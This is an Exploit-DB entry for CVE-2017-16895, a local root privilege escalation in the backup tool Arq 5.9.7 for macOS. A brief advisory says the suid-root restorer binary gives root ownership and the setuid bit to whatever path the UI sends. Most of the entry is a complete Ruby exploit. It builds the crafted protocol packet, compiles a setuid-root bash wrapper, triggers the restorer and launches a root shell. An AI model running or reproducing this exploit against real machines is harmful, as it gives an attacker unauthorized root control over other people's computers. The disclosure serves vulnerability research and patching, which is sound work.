Arq 5.9.7 - Local root Privilege Escalation

EDB-ID: 43216
Author: Mark Wadham
Published: 2017-12-06
CVE: CVE-2017-16895
Type: Local
Platform: macOS
Aliases: N/A
Advisory/Source: Link
Tags: Local
Vulnerable App: N/A

 As well as the other bugs affecting Arq <= 5.9.6 there is also another issue 
with the suid-root restorer binaries in Arq for Mac. There are three of them
and they are used to execute restores of backed up files from the various
cloud providers.

After reversing the inter-app protocol I discovered that the path to the
restorer binary was specified as part of the data packet sent by the UI. After
receiving this, the restorer binaries then set +s and root ownership on this
path. This means we can specify an arbitrary path which will receive +s and root
ownership.

This issue is fixed in Arq 5.10.
=end

#!/usr/bin/env ruby

##################################################################
###### Arq <= 5.9.7 local root privilege escalation exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html ######
##################################################################

s = File.stat("/Applications/Arq.app/Contents/Resources/standardrestorer")

if s.mode != 0104755 or s.uid != 0
puts "Not vulnerable - standardrestorer is not suid root."
exit 1
end

binary_target = "/tmp/arq_597_exp"

d = "\x01\x00\x00\x00\x00\x00\x00\x00"
e = "\x00\x00\x00\x00\x03"
z = "0000"
target = sprintf("%s%s-%s-%s-%s-%s%s%s", z,z,z,z,z,z,z,z)
plist = "<plist version=\"1.0\"><dict><\/dict><\/plist>"
backup_set = "0" * 40
hmac = "0" * 40

payload = sprintf(
"%s%s%s%s\$%s%s\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" +
"\x00\x00\x00\x00\x00\x09\x00\x00\x02\xd0\x96\x82\xef\xd8\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x08\x30\x2e\x30" +
"\x30\x30\x30\x30\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00%s%s%s\x28%s\x01\x00\x00\x00%s\x00\x00\x00%s" +
"\x00\x00\x00\x00\x16\x00\x00\x00\x02%s\x28%s\x01\x00\x00\x00%s\x00\x00" +
"\x00%s\x00\x00\x00\x00\x00\x00\x00\x01\xf5\x00\x00\x00\x00\x00\x00\x00" +
"\x14\x00%s\x00\x00\x00\x00\x03%s\x0a",
d, binary_target.length.chr, binary_target,
d, target,
d, plist.length.chr, plist,
d, backup_set,
d, d, d, hmac,
d, d, d, e * 10
)

shellcode = "#include <unistd.h>\nint main()\n{ setuid(0);setgid(0);"+
"execl(\"/bin/bash\",\"bash\",\"-c\",\"rm -f #{binary_target};/bin/bash\","+
"NULL);return 0; }"

IO.popen("gcc -xc -o #{binary_target} -", mode="r+") do |io|
io.write(shellcode)
io.close
end

IO.popen("/Applications/Arq.app/Contents/Resources/standardrestorer " +
"2>/dev/null", mode="r+") do |io|
io.getc && io.write(payload)
end

timeout=3
i=0

while (s = File.stat(binary_target)) && (s.mode != 0104755 or s.uid != 0)
sleep 0.1
i += 1

if i >= (timeout * 10)
break
end
end

if s.mode == 0104755 and s.uid == 0
system(binary_target)
exit 0
end

puts "exploit failed"

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